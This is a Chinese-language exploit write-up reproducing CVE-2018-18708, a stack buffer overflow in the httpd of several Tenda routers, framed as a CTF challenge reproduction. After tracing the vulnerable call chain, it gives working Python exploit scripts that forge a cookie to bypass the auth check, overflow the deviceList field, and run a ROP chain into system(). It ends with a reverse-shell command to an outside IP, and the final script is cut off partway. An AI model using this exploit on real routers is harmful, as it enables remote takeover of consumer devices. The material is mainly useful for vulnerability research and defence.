CVE-2018-18708 复现

该题在nu1lctf2020 的pwn中已经出现,为babyrouter,不妨来复现复现该cve。

工具+环境

下载

cutter

ida

gdb + pwndbg

qemu-arm

python

远程实验环境

docker + qemu-arm

漏洞分析

简要概述

CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。

漏洞点

sub_BE73C

signed int __fastcall vul_end(const char *a1, char *a2) # offset 000BE73C
{
  signed int v2; // r3
  char *dest; // [sp+8h] [bp-3Ch]
  char *str; // [sp+Ch] [bp-38h]
  int v6; // [sp+10h] [bp-34h]
  int v7; // [sp+14h] [bp-30h]
  int v8; // [sp+18h] [bp-2Ch]
  int v9; // [sp+1Ch] [bp-28h]
  int s2; // [sp+20h] [bp-24h]
  int v11; // [sp+24h] [bp-20h]
  int v12; // [sp+28h] [bp-1Ch]
  int v13; // [sp+2Ch] [bp-18h]
  char v14; // [sp+32h] [bp-12h]
  char v15; // [sp+33h] [bp-11h]
  char *src; // [sp+34h] [bp-10h]

  str = (char *)a1;
  dest = a2;
  src = strchr(a1, 13); //检测deviceList内容是否包含’\r’,随后进入分支执行漏洞代码。
  if ( src )
  {
    *src++ = 0;
    v6 = 0;
    v7 = 0;
    v8 = 0;
    v9 = 0;
    if ( GetValue("cgi_debug", &v6) && !strcmp("on", (const char *)&v6) )
    {
      v15 = 1;
      printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "parse_macfilter_rule", 807, off_FCFE4[0]);
      printf("parase rule: name == %s, mac == %s\n\x1B[0m", str, src);
    }
    strcpy(dest + 32, str); // 漏洞点vul
    strcpy(dest, src); // 漏洞点
    v2 = 0;
  }
  else
  {
    s2 = 0;
    v11 = 0;
    v12 = 0;
    v13 = 0;
    if ( GetValue("cgi_debug", &s2) && !strcmp("on", (const char *)&s2) )
    {
      v14 = 2;
      printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "parse_macfilter_rule", 803, off_FCFE8[0]);
      printf("source_rule error: %s!\n\x1B[0m", str);
    }
    v2 = 2;
  }
  return v2;
}

从以上可以很容易看出漏洞点在strcpy函数, 那str是通过参数一传入的,进行逆向跟踪。

sub_BDA1C

int __fastcall sub_BDA1C(int a1, const char *vul_str, int a3)
{
  int v4; // [sp+Ch] [bp-1F0h]
  const char *v5; // [sp+10h] [bp-1ECh]
  int v6; // [sp+14h] [bp-1E8h]
  int v7; // [sp+1Ch] [bp-1E0h]
  int v8; // [sp+20h] [bp-1DCh]
  int v9; // [sp+24h] [bp-1D8h]
  int v10; // [sp+28h] [bp-1D4h]
  int v11; // [sp+2Ch] [bp-1D0h]
  int v12; // [sp+30h] [bp-1CCh]
  int v13; // [sp+34h] [bp-1C8h]
  int v14; // [sp+38h] [bp-1C4h]
  int s2; // [sp+3Ch] [bp-1C0h]
  int v16; // [sp+40h] [bp-1BCh]
  int v17; // [sp+44h] [bp-1B8h]
  int v18; // [sp+48h] [bp-1B4h]
  char v19; // [sp+4Ch] [bp-1B0h]
  char s; // [sp+CCh] [bp-130h]
  char v21; // [sp+14Ch] [bp-B0h]
  int v22; // [sp+16Ch] [bp-90h]
  char v23; // [sp+1EDh] [bp-Fh]
  char v24; // [sp+1EEh] [bp-Eh]
  char v25; // [sp+1EFh] [bp-Dh]

  v6 = a1;
  v5 = vul_str;
  v4 = a3;
  memset(&s, 0, 0x80u);
  memset(&v19, 0, 0x80u);
  s2 = 0;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  if ( GetValue("cgi_debug", &s2) && !strcmp("on", (const char *)&s2) )
  {
    v25 = 1;
    printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_rules_by_one", 667, off_FCFE4[0]);
    printf("set macfilter rules by one, source_rule == %s, index == %d\n\x1B[0m", v5, v4);
  }
  memset(&v21, 0, 0xA0u);
  vul_end(v5, &v21); // 调用, v5为传入后strcpy的参数
  v11 = 0;
  v12 = 0;
  v13 = 0;
  v14 = 0;
  if ( GetValue("cgi_debug", &v11) && !strcmp("on", (const char *)&v11) )
  {
    v24 = 1;
    printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_rules_by_one", 671, off_FCFE4[0]);
    printf("get rule%d: name == %s, mac == %s\n\x1B[0m", v4, &v22, &v21);
  }
  snprintf(&s, 0x80u, "macfilter.%s.list%d", v6, v4);
  snprintf(&v19, 0x80u, "%s", &v21);
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  if ( GetValue("cgi_debug", &v7) && !strcmp("on", (const char *)&v7) )
  {
    v23 = 1;
    printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_rules_by_one", 675, off_FCFE4[0]);
    printf("set rule: %s == %s\n\x1B[0m", &s, &v19);
  }
  SetValue(&s, &v19);
  if ( (_BYTE)v22 )
    sub_C2FD4((int)&v22, (int)&v21);
  return 0;
}

字符串也是该函是第二个参数进行传入的,继续逆跟踪。

sub_BD758

int __fastcall sub_BD758(int a1, char *vul_str)
{
  const char *s; // [sp+8h] [bp-44h]
  int v4; // [sp+Ch] [bp-40h]
  int v5; // [sp+14h] [bp-38h]
  int v6; // [sp+18h] [bp-34h]
  int v7; // [sp+1Ch] [bp-30h]
  int v8; // [sp+20h] [bp-2Ch]
  int s2; // [sp+24h] [bp-28h]
  int v10; // [sp+28h] [bp-24h]
  int v11; // [sp+2Ch] [bp-20h]
  int v12; // [sp+30h] [bp-1Ch]
  char v13; // [sp+36h] [bp-16h]
  char v14; // [sp+37h] [bp-15h]
  char *v15; // [sp+38h] [bp-14h]
  int v16; // [sp+3Ch] [bp-10h]

  v4 = a1;
  s = vul_str;
  v16 = 1;
  v15 = 0;
  s2 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  if ( GetValue("cgi_debug", &s2) && !strcmp("on", (const char *)&s2) )
  {
    v14 = 1;
    printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_rules", 617, off_FCFE4[0]);
    printf("set macfilter rules\n\x1B[0m");
  }
  sub_BDE40(v4);
  if ( *s )
  {
    while ( 1 )
    {
      v15 = strchr(s, 10);
      if ( !v15 )
        break;
      *v15++ = 0;
      vul_2(v4, s, v16); // 调用vul函数, s为传入的字符串
      s = v15;
      ++v16;
    }
    vul_2(v4, s, v16); // 调用vul函数, s为传入的字符串
    sub_BE9DC(v4, v16);
  }
  else
  {
    v5 = 0;
    v6 = 0;
    v7 = 0;
    v8 = 0;
    if ( GetValue("cgi_debug", &v5) && !strcmp("on", (const char *)&v5) )
    {
      v13 = 1;
      printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_rules", 623, off_FCFE4[0]);
      printf("rule list is NULL!\n\x1B[0m");
    }
  }
  return 0;
}

字符串是该函数的二个参数进行传入的,继续逆跟踪。

formSetMacFilterCfg

int __fastcall formSetMacFilterCfg(int a1) // 000BCB9C
{
  int v1; // r0
  int v3; // [sp+14h] [bp-218h]
  int v4; // [sp+1Ch] [bp-210h]
  int v5; // [sp+20h] [bp-20Ch]
  int v6; // [sp+24h] [bp-208h]
  int v7; // [sp+28h] [bp-204h]
  int v8; // [sp+2Ch] [bp-200h]
  int v9; // [sp+30h] [bp-1FCh]
  int v10; // [sp+34h] [bp-1F8h]
  int v11; // [sp+38h] [bp-1F4h]
  int v12; // [sp+3Ch] [bp-1F0h]
  int v13; // [sp+40h] [bp-1ECh]
  int v14; // [sp+44h] [bp-1E8h]
  int v15; // [sp+48h] [bp-1E4h]
  int v16; // [sp+4Ch] [bp-1E0h]
  int v17; // [sp+50h] [bp-1DCh]
  int v18; // [sp+54h] [bp-1D8h]
  int v19; // [sp+58h] [bp-1D4h]
  int s2; // [sp+5Ch] [bp-1D0h]
  int v21; // [sp+60h] [bp-1CCh]
  int v22; // [sp+64h] [bp-1C8h]
  int v23; // [sp+68h] [bp-1C4h]
  char v24; // [sp+6Ch] [bp-1C0h]
  char s; // [sp+ECh] [bp-140h]
  int v26; // [sp+1ECh] [bp-40h]
  int v27; // [sp+1F0h] [bp-3Ch]
  int v28; // [sp+1F4h] [bp-38h]
  int v29; // [sp+1F8h] [bp-34h]
  int v30; // [sp+1FCh] [bp-30h]
  int v31; // [sp+200h] [bp-2Ch]
  int v32; // [sp+204h] [bp-28h]
  int v33; // [sp+208h] [bp-24h]
  char v34; // [sp+20Fh] [bp-1Dh]
  char v35; // [sp+210h] [bp-1Ch]
  char v36; // [sp+211h] [bp-1Bh]
  char v37; // [sp+212h] [bp-1Ah]
  char v38; // [sp+213h] [bp-19h]
  char *vul_str; // [sp+214h] [bp-18h]
  void *v40; // [sp+218h] [bp-14h]
  int v41; // [sp+21Ch] [bp-10h]

  v3 = a1;
  v40 = 0;
  vul_str = 0;
  v41 = 0;
  v26 = 0;
  v27 = 0;
  v28 = 0;
  v29 = 0;
  v30 = 0;
  v31 = 0;
  v32 = 0;
  v33 = 0;
  memset(&s, 0, 0x100u);
  memset(&v24, 0, 0x80u);
  v40 = sub_2B794(v3, (int)"macFilterType", (int)&unk_F0BA4);
  v41 = sub_BD34C(v40); // 调用判断函数
  if ( v41 ) // 判断v41
  {
    s2 = 0;
    v21 = 0;
    v22 = 0;
    v23 = 0;
    if ( GetValue("cgi_debug", &s2) && !strcmp("on", (const char *)&s2) )
    {
      v38 = 2;
      printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "formSetMacFilterCfg", 500, off_FCFE8[0]);
      printf("set mac filter mode error!\n\x1B[0m");
    }
  }
  else
  {
    vul_str = (char *)sub_2B794(v3, (int)"deviceList", (int)&unk_F0BA4);
    v41 = vul_3((int)v40, vul_str);             // 漏洞调用点
    if ( v41 )
    {
      v16 = 0;
      v17 = 0;
      v18 = 0;
      v19 = 0;
      if ( GetValue("cgi_debug", &v16) && !strcmp("on", (const char *)&v16) )
      {
        v37 = 2;
        printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "formSetMacFilterCfg", 508, off_FCFE8[0]);
        printf("set mac filter rules error!\n\x1B[0m");
      }
    }
    else
    {
      sub_C3E80();
      v1 = sub_BED1C(v40);
      if ( CommitCfm(v1) )
      {
        send_msg_to_netctrl(9, "op=5");
        GetValue("wl2g.public.enable", &v26);
        if ( !strcmp("1", (const char *)&v26) )
        {
          v8 = 0;
          v9 = 0;
          v10 = 0;
          v11 = 0;
          if ( GetValue("cgi_debug", &v8) && !strcmp("on", (const char *)&v8) )
          {
            v35 = 1;
            printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "formSetMacFilterCfg", 528, off_FCFE4[0]);
            printf("2.4G is enabled, sending msg to 2.4G wifi refresh!\n\x1B[0m");
          }
          snprintf(&v24, 0x80u, "op=%d,wl_rate=%d", 11, 24);
          send_msg_to_netctrl(19, &v24);
        }
        GetValue("wl5g.public.enable", &v26);
        if ( !strcmp("1", (const char *)&v26) )
        {
          v4 = 0;
          v5 = 0;
          v6 = 0;
          v7 = 0;
          if ( GetValue("cgi_debug", &v4) && !strcmp("on", (const char *)&v4) )
          {
            v34 = 1;
            printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "formSetMacFilterCfg", 535, off_FCFE4[0]);
            printf("5G is enabled, sending msg to 5G wifi refresh!\n\x1B[0m");
          }
          snprintf(&v24, 0x80u, "op=%d,wl_rate=%d", 11, 5);
          send_msg_to_netctrl(19, &v24);
        }
      }
      else
      {
        v12 = 0;
        v13 = 0;
        v14 = 0;
        v15 = 0;
        if ( GetValue("cgi_debug", &v12) && !strcmp("on", (const char *)&v12) )
        {
          v36 = 2;
          printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "formSetMacFilterCfg", 519, off_FCFE8[0]);
          printf("cfm commit error!\n\x1B[0m");
        }
        v41 = 1;
      }
    }
  }
  snprintf(&s, 0x100u, "{\"errCode\":%d}", v41);
  return sub_9C66C(v3, &s);
}

进入目标分支后,再从deviceList获取传入v39变量,根据上一节的分析该值将被用作strcpy的参数。

然而这里有个判断,要想执行到前面我们所跟踪到的内容,必须先绕过一个if判断,也就是我们必须要得使v41这个变量值为0,然而该值是调用sub_BD34C函数的一个返回值,咱们先跟进sub_BD34C函数看看。

sub_BD34C

signed int __fastcall sub_BD34C(char *a1)
{
  signed int v1; // r3
  char *v3; // [sp+Ch] [bp-48h]
  int v4; // [sp+10h] [bp-44h]
  int v5; // [sp+14h] [bp-40h]
  int v6; // [sp+18h] [bp-3Ch]
  int v7; // [sp+1Ch] [bp-38h]
  int v8; // [sp+20h] [bp-34h]
  int v9; // [sp+24h] [bp-30h]
  int v10; // [sp+28h] [bp-2Ch]
  int v11; // [sp+2Ch] [bp-28h]
  int s2; // [sp+30h] [bp-24h]
  int v13; // [sp+34h] [bp-20h]
  int v14; // [sp+38h] [bp-1Ch]
  int v15; // [sp+3Ch] [bp-18h]
  char v16; // [sp+41h] [bp-13h]
  char v17; // [sp+42h] [bp-12h]
  char v18; // [sp+43h] [bp-11h]
  const char *v19; // [sp+44h] [bp-10h]

  v3 = a1;
  v19 = 0;
  s2 = 0;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  if ( GetValue("cgi_debug", &s2) && !strcmp("on", (const char *)&s2) )
  {
    v18 = 1;
    printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_mode", 566, off_FCFE4[0]);
    printf("get mac filter mode == %s\n\x1B[0m", v3);
  }
  if ( *v3 )
  {
    if ( !strcmp("black", v3) || !strcmp("white", v3) ) // 参数字符串判断
    {
      SetValue("macfilter.mode", v3);
      if ( !strcmp("black", v3) )
        v19 = "deny";
      else
        v19 = "allow";
      SetValue("wl2g.ssid0.macmode", v19);
      SetValue("wl5g.ssid0.macmode", v19);
      v1 = 0; //设置返回值为0
    }
    else
    {
      v4 = 0;
      v5 = 0;
      v6 = 0;
      v7 = 0;
      if ( GetValue("cgi_debug", &v4) && !strcmp("on", (const char *)&v4) )
      {
        v16 = 2;
        printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_mode", 575, off_FCFE8[0]);
        printf("got wrong mac filter mode: %s!\n\x1B[0m", v3);
      }
      v1 = 2;
    }
  }
  else
  {
    v8 = 0;
    v9 = 0;
    v10 = 0;
    v11 = 0;
    if ( GetValue("cgi_debug", &v8) && !strcmp("on", (const char *)&v8) )
    {
      v17 = 2;
      printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_mode", 569, off_FCFE8[0]);
      printf("got mac filter mode failed!\n\x1B[0m");
    }
    v1 = 2;
  }
  return v1;
}

以上逻辑是,根据传入的参数来进行字符串判断,若传入参数字符串为black或者white就会使返回值为0,那么就可以执行到漏洞点。

然而sub_2B794函数是解析字符串返回对应的字符串,类似与json解析,根据key值找value。

sub_2B794

void *__fastcall sub_2B794(int a1, int a2, int a3)
{
  int v5; // [sp+4h] [bp-20h]
  _DWORD *v6; // [sp+14h] [bp-10h]

  v5 = a3;
  v6 = sub_1F8FC(*(_DWORD *)(a1 + 32), (char *)a2);
  if ( !v6 )
    return (void *)v5;
  if ( (*((unsigned __int16 *)v6 + 10) << 16) | *((unsigned __int16 *)v6 + 9) )
    return (void *)((*((unsigned __int16 *)v6 + 10) << 16) | *((unsigned __int16 *)v6 + 9));
  return &unk_D8440;
}

那么什么函数会调用formSetMacFilterCfg函数呢?继续跟踪调用函数。

sub_41F18

  int sub_41F18() 
  {
  ...
  sub_16EF4("AdvSetNat", formNatSet);
  sub_FE28("NatSet", aspNatSet);
  sub_16EF4("getMacFilterCfg", formGetMacFilterCfg);
  sub_16EF4("setMacFilterCfg", formSetMacFilterCfg);
  sub_16EF4("parentControlEn", formSetParentControlEnable);
  ...
  }

好像没发现啥,继续往上跟踪

sub_2E6F4

signed int sub_2E6F4()
{
  int v0; // r0
  size_t v1; // r3
  size_t v2; // r3
  signed int v3; // r3
  char s; // [sp+8h] [bp-194h]
  char dest; // [sp+88h] [bp-114h]
  char v7; // [sp+108h] [bp-94h]
  struct in_addr inp; // [sp+188h] [bp-14h]
  char *v9; // [sp+18Ch] [bp-10h]

  v9 = 0;
  memset(&s, 0, 0x80u);
  v0 = doSystemCmd("echo 0 > /proc/sys/net/ipv4/tcp_timestamps");
  sub_1B3DC(v0);
  inet_aton((const char *)&g_lan_ip, &inp);
  strcpy(&dest, off_FB76C);
  sub_12238(&dest);
  v9 = inet_ntoa(inp);
  if ( strlen(v9) + 1 > 0x7F )
    v1 = 128;
  else
    v1 = strlen(v9) + 1;
  sub_19354(&s, v9, v1);
  sub_2CF20(&s);
  if ( strlen(&v7) + 1 > 0x7F )
    v2 = 128;
  else
    v2 = strlen(&v7) + 1;
  sub_19354(&s, &v7, v2);
  sub_2CE84(&s);
  sub_121D0("main.html");
  sub_1F268(off_FB770);
  if ( sub_29218(port, retries) >= 0 )
  {
    sub_176B0(&unk_D8894, 0, 0, R7WebsSecurityHandler, 1);
    sub_176B0("/goform", 0, 0, websFormHandler, 0);
    sub_176B0("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0);
    sub_176B0(&unk_D8894, 0, 0, websDefaultHandler, 2);
    sub_41F18(); // call vul hunc
    sub_176B0("/", 0, 0, sub_2E9D8, 0);
    v3 = 0;
  }
  else
  {
    printf("%s %d: websOpenServer failed\n", "initWebs", 499);
    v3 = -1;
  }
  return v3;
}

通过gdb下断点确定访问“/goform/setMacFilterCfg”时会进入formSetMacfiltercfg函数。

再继续网上跟踪就是必须运行的代码块了,如下。

sub_2E128

signed int __fastcall sub_2E128(int a1, int a2)
{
  ...
  init_core_dump(v2);
  v3 = puts("\n\nYes:\n\n      ****** WeLoveLinux****** \n\n Welcome to ...");
  sub_305FC(v3);
  v4 = sleep(1u);
  v5 = ConnectCfm(v4);
  sub_100D8(0, 61440, 1, v5);
  memset(&s, 0, 0x80u);
  if ( !GetValue("lan.webiplansslen", &s) )
    strcpy(&s, "0");
  sslenable = atoi(&s);
  if ( !GetValue("lan.webport", &s) )
    strcpy(&s, "80");
  if ( !GetValue("lan.webipen", &dest) )
    strcpy(&dest, "0");
  if ( !strcmp((const char *)&dest, "1") )
  {
    sslport = atoi(&s);
    port = atoi(&s);
  }
  v6 = getLanIfName();
  if ( getIfIp(v6, &v21) < 0 )
  {
    GetValue("lan.ip", &s);
    strcpy(g_lan_ip, &s);
    memset(&v17, 0, 0x50u);
    if ( !tpi_lan_dhcpc_get_ipinfo_and_status(&v17) && v17 )
      vos_strcpy(g_lan_ip, &v17);
  }
  else
  {
    vos_strcpy(g_lan_ip, &v21);
  }
  memset(&v19, 0, 9u);
  v7 = inet_addr(g_lan_ip);
  v19 = (unsigned __int8)v19 | (v7 << 8);
  v20 = HIBYTE(v7);
  tpi_talk_to_kernel(5, &v19, &v18, 0, 0, 0, v15, v16);
  sub_2EA60(1);
  sub_2EA60(0);
  getpid();
  doSystemCmd("echo %d > %s");
  if ( sub_2E6F4() >= 0 ) // call our func
  {
    memset(&loginUserInfo, 0, 0x6Cu);
    signal(15, (__sighandler_t)sub_2DEC0);
    signal(9, (__sighandler_t)sub_2DEC0);
    signal(14, (__sighandler_t)sub_2DF48);
    alarm(0x3Cu);
    v35 = 0;
    mallopt(-1, 0);
    mallopt(-3, 2048);
    v9 = getpid();
    v34 = v9;
    while ( !dword_FD1C0 )
    {
      v10 = sub_1BFF4(-1, 1000);
      if ( v10 > 0 )
        v10 = sub_1C4F0(-1);
      v11 = sub_11570(v10);
      v9 = sub_2DD68(v11);
      if ( !(++v35 % 100) )
        v9 = malloc_trim(0);
    }
    if ( sslenable )
    {
      v12 = sub_1EF9C(v9);
    }
    else
    {
      v13 = sub_2940C(v9);
      v12 = sub_1B47C(v13);
    }
    sub_10258(v12);
    v8 = 0;
  }
  else
  {
    puts("main -> initWebs failed");
    v8 = -1;
  }
  return v8;
}

触发链

sub_2E128 -> sub_2E6F4 ->sub_41F18 -> formSetMacFilterCfg -> sub_BD758 -> sub_BDA1C -> sub_BE73C

那么现在我们就可以访问“/goform/setMacFilterCfg”时会进入formSetMacfiltercfg函数,传入类似与json的数据进行解析,则会将value值传入漏洞触发点。

payload

post 数据, rur = ‘/goform/setMacFilterCfg’

{"macFilterType": "white", "deviceList": payload}

漏洞调试

准备

编写qemu-arm启动脚本

#!/bin/sh
brctl addbr br0
ifconfig br0 10.10.10.10 up
qemu-arm-static -g 1234 -L ./pwn ./pwn/httpd

启动log

┌[logan☮arch]-(~/share/nu1l/babyroute/docker)
└> sudo ./start.sh 
[sudo] password for logan: 
init_core_dump 1816: rlim_cur = -1, rlim_max = -1
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880

Yes:

      ****** WeLoveLinux****** 

 Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
create socket  fail -1
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
httpd listen ip = 10.10.10.10 port = 80
webs: Listening for HTTP requests at address 10.10.10.10

启动后gdb远程调试

gdb-multiarch

设置 架构为arm

远程调试端口为1234

pwndbg> set architecture arm
The target architecture is set to "arm".
pwndbg> target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234

在漏洞函数0xC2FD4处下短点

pwndbg> b *0xC2FD4
Breakpoint 1 at 0xc2fd4

exp

#! /usr/bin/python3
import requests

url = "http://10.10.10.10/goform/setMacFilterCfg"
p = 'A' * 0x1000
d = {"macFilterType": "white", "deviceList": '\r'+ 'A' * 0x1000}
r = requests.post(url, d)
print(r.text)

log输出如下

┌[logan☮arch]-(~/share/nu1l/babyroute)
└> python poc
{"errCode":2}

发现不能运行到我们的位置,进行再调试调试看看是那块没有绕过。重新下断电在formSetMacFilterCfg函数,偏移为: 000BCB9C

发现能够调用到formSetMacFilterCfg函数,但没法继续调用下一个函数,再来分析分析还有什么条件没有绕过。

   0xbd3a0    sub    r3, fp, #0x24
   0xbd3a4    ldr    r2, [pc, #0x36c]
   0xbd3a8    add    r2, r4, r2
   0xbd3ac    mov    r0, r2
   0xbd3b0    mov    r1, r3
 ► 0xbd3b4    bl     #0xf2f8 <0xf2f8>

   0xbd3b8    mov    r3, r0
   0xbd3bc    cmp    r3, #0
   0xbd3c0    beq    #0xbd458 <0xbd458>

执行到GetValue的时候, 会出现http响应错误,然而该函数是调用lib的,只能先分析一下lib。

通过分析lib中的GetValue函数,会议cookie值检测,需要包含password等字段,内容随便伪造。

poc如下

触发poc

#! /usr/bin/python3
import requests

url = "http://10.10.10.10/goform/setMacFilterCfg"
c = {"Cookie":"password=0"}
p = 'A' * 0x1000
d = {"macFilterType": "black", "deviceList": '\r'+ 'A' * 0x1000}
r = requests.post(url, cookies = c, data = d)
print(r.text)

漏洞触发如下

*R0   0x0
*R1   0x3ffef110 ◂— 0
*R2   0x3ff4c020 ◂— stm    r0!, {r5}
*R3   0x0
*R4   0x41414141 ('AAAA')
 R5   0x11bf40 ◂— str    r7, [r5, #0x70] /* 0x666f672f; '/goform/setMacFilterCfg' */
 R6   0x1
 R7   0x408007fb ◂— 0x41414141 ('AAAA')
 R8   0xe968 ◂— stm    r0!, {r0, r2, r3}
 R9   0x2e128 ◂— ldr    r0, [pc, #0x40]
 R10  0x40800668 ◂— 0x41414141 ('AAAA')
*R11  0x41414141 ('AAAA')
*R12  0x3ff47edc —▸ 0x3ff3da50 ◂— adds   r0, #0
*SP   0x40800098 ◂— 0x41414141 ('AAAA')
*PC   0x41414140 ('@AAA')
───────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────
Invalid address 0x41414140

这时发现,已经修改了PC寄存器,实现了劫持。

漏洞利用

接下来就计算便宜找system函数了。

─────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
 R0   0x407fffe4 ◂— 0x0
 R1   0x11ee31 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'
 R2   0x407fffe4 ◂— 0x0
 R3   0x11ee31 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'
 R4   0xfab18 —▸ 0xfa9d0 ◂— 1
 R5   0x11c0e0 ◂— strbtvs r6, [pc], -pc, lsr #14 /* 0x666f672f; '/goform/setMacFilterCfg' */
 R6   0x1
 R7   0x408007fb ◂— './pwn/httpd'
 R8   0xe968 ◂— mov    ip, sp
 R9   0x2e128 ◂— push   {r4, fp, lr}
 R10  0x40800668 ◂— 0x0
 R11  0x407ffe94 —▸ 0xbdb80 ◂— sub    r3, fp, #0x1d0
 R12  0xfaf60 —▸ 0x3fdda508 ◂— mov    r3, r0
 SP   0x407ffe50 ◂— 0x0
*PC   0xbe9a4 ◂— bl     #0xf640
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
   0xbe990    bl     #0xf640 <0xf640>

   0xbe994    ldr    r2, [fp, #-0x3c]
   0xbe998    ldr    r3, [fp, #-0x10]
   0xbe99c    mov    r0, r2
   0xbe9a0    mov    r1, r3
 ► 0xbe9a4    bl     #0xf640 <0xf640>
65:0194│ r0    0x407fffe4 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'
... ↓
74:01d0│       0x40800020 ◂— 'BBBBCCCC'
75:01d4│       0x40800024 ◂— 'CCCC'
76:01d8│ r3-1  0x40800028 ◂— 0x0
... ↓
8d:0234│       0x40800084 ◂— 0x1f
8e:0238│       0x40800088 —▸ 0xf0bc8 ◂— ldmdbvs r6!, {r2, r5, r6, r8, sl, sp, lr} ^ /* 'deviceList' */

堆栈数据如上,由于是如下进行弹堆栈的,需要再填充(0x238 - 0x1d4)个字节才可以修爱pc寄存器,实现劫持。

.text:000BE9AC                 MOV             R0, R3
.text:000BE9B0                 SUB             SP, R11, #8
.text:000BE9B4                 LDMFD           SP!, {R4,R11,PC}

重新修改poc

#! /usr/bin/python3
import requests

url = "http://10.10.10.10/goform/setMacFilterCfg"
c = {"Cookie":"password=0"}
p = 'A' * 0xA8
p += 'DDDD'
p += 'EEEE'
p += 'FFFF'

d = {"macFilterType": "black", "deviceList": '\r'+ p}
r = requests.post(url, cookies = c, data = d)

运行如下,那么就可以知道在哪可以实现修改pc寄存器了。

*R11  0x45454545 ('EEEE')
*R12  0x3ff47edc —▸ 0x3ff3da50 ◂— mov    r3, r0
*SP   0x40800098 ◂— 'GGGGHHHH'
*PC   0x46464646 ('FFFF')
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
Invalid address 0x46464646

由于程序没有开启alsr与pie那么glibc中的基址是固定的。

直接算获取system地址。vmmap获取glibc基址为0xf659b000

在libc中找到system函数偏移

┌[logan☮arch]-(~/share/nu1l/babyroute)
└> readelf -s docker/pwn/lib/libc.so.0  | grep system
   433: 0005a270   348 FUNC    WEAK   DEFAULT    7 system
   904: 00047b38    80 FUNC    GLOBAL DEFAULT    7 svcerr_systemerr
  1394: 0005a270   348 FUNC    GLOBAL DEFAULT    7 __libc_syste

这里记得检查下CPSR寄存器的T位,因为栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。如果T位值为1,需要在地址上加一还原。

pwndbg> p/t $cpsr
$1 = 1100000000000000000000000010000
pwndbg> cyclic -l taab
176

寻找gadgets

gadget1

用于修改r3寄存器

┌[logan☮arch]-(~/share/nu1l/babyroute)
└> ROPgadget --binary docker/pwn/lib/libc.so.0 --only "pop" | grep r3
...
0x00018298 : pop {r3, pc}
...

gadget2

┌[logan☮arch]-(~/share/nu1l/babyroute)
└> ROPgadget --binary ./docker/pwn/lib/libc.so.0  | grep "mov r0, sp ; blx r3"
...
0x00040cb8 : mov r0, sp ; blx r3
...

payload结构为[offset, gadget1, system_addr, gadget2, cmd]

先将system函数地址储存在r3寄存器中,执行到gadget2将sp的值赋给r0,也就是将sp作为system的参数,而这时sp指向的是cmd。

poc

#! /usr/bin/python3
import requests
from pwn import *

url = "http://10.10.10.10/goform/setMacFilterCfg"
c = {"Cookie":"password=0"}
libc_base = 0xf659b000
system  = libc_base + 0x0005a270
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8
cmd = b'touch test\x00'

p = b'A' * 0xA8
p += b'DDDD'
p += b'EEEE'
p += p32(gadget1)
p += p32(system)
p += p32(gadget2)
p += cmd

d = {"macFilterType": "black", "deviceList": '\r'+ p}
r = requests.post(url, cookies = c, data = d)

print(r.text)

修改url 为docker所转发的端口,现在试试在docker上是否已经创建test文件

root@a52d03d064d3:/# ls
bin   dev  flag  lib    media  opt   pwn   run   srv       sys   tmp  var
boot  etc  home  lib64  mnt    proc  root  sbin  start.sh  test  usr

可以看到已经创建了test文件。

那么如何实现交互呢?就采用bash下来反弹sehll 吧。

先在自己的服务器上使用nc来监听。

nc -lvnp 4444

在poc中的命令填写为

bash -i >& /dev/tcp/192.168.43.13/4444 0>&1

192.168.43.13是我物理机的ip,4444是我nc监听的端口。

现在poc为

#! /usr/bin/python3
import requests
from pwn import *

url = "http://127.0.0.1:2333/goform/setMacFilterCfg"
c = {"Cookie":"password=0"}
